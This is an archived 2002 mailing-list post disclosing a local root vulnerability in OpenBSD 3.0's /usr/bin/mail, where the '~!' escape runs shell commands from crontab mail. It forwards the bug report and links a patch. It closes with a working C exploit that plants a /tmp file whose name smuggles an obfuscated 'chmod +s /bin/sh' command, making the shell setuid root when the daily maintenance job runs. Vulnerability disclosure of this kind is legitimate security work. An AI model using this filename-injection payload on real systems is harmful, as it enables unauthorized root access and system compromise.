OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Przemyslaw Frasunek (venglinfreebsd.lublin.pl)
Date: Thu Apr 11 2002 - 06:29:28 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    There is a local root compromise in OpenBSD 3.0-current (and below, before 8 Apr
    2002).

    Full problem report and exploit below. FreeBSD is not vulnerable.

    ----- Forwarded message from urbanekopenbsd.cz -----

    From: urbanekopenbsd.cz
    To: gnatsopenbsd.org
    Subject: user/2536: possible root compromise using /usr/bin/mail

    >Number: 2536
    >Category: user
    >Synopsis: crontab entry allows possible arbitrary comand execution
    >Confidential: yes
    >Severity: critical
    >Priority: high
    >Responsible: bugs
    >State: open
    >Class: sw-bug
    >Submitter-Id: net
    >Arrival-Date: Mon Apr 8 13:30:02 MDT 2002
    >Last-Modified:
    >Originator: Milos Urbanek
    >Organization:

    >Release: all relases including CURRENT
    >Environment:
            
            System : OpenBSD 3.0
            Architecture: OpenBSD.i386
            Machine : i386
    >Description:

            program /usr/bin/mail allows a special escape sequence to
            be specified in the body of an email; this escape sequence
            specifies a shell comand to be executed

            as mentioned in mail(1):

    ~!command
                 Execute the indicated shell command, then return to the message.

            Problem:
            default root crontab entry looks like:

            # do daily/weekly/monthly maintenance
    # on monday only (techie)
    30 1 * * 1 /bin/sh /etc/daily 2>&1 | tee /var/log/d
    aily.out | mail -s "`/bin/hostname` daily output" root
    30 3 * * 6 /bin/sh /etc/weekly 2>&1 | tee /var/log/
    weekly.out | mail -s "`/bin/hostname` weekly output" root
    30 5 1 * * /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s "`/bin/hostname` monthly output" root

            If there is something in files /etc/daily, /etc/weekly or /etc/monthly
            which could enable the attacker to insert its own input,
            like a malformed filename

             chiba:5$ touch \~!haha
             chiba:6$ ls -al *haha*
            -rw-r--r-- 1 milos milos 0 Apr 8 19:30 ~!haha

            or by other means like output from log files under /var/log,

            the attacker can execute arbitrary comand running under root
            privileges which can lead to the root compromise.

    >How-To-Repeat:
            read the man page, and see above
    [...]

    ----- End forwarded message -----

    Patch: http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/mail/collect.c.diff?r1=1.23&r2=1.24

    Exploit:

    /*
     * (c) 2002 venglinfreebsd.lublin.pl
     *
     * OpenBSD 3.0 (before 08 Apr 2002)
     * /etc/security + /usr/bin/mail local root exploit
     *
     * Run the exploit and wait for /etc/daily executed from crontab.
     * /bin/sh will be suid root next day morning.
     *
     * Credit goes to urbanekopenbsd.cz for discovering vulnerability.
     *
     */

    #include <fcntl.h>

    int main(void)
    {
            int fd;

            chdir("/tmp");
            fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

            if (fd)
                    close(fd);
    }

    -- 
    * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
    * Inet: przemyslawfrasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *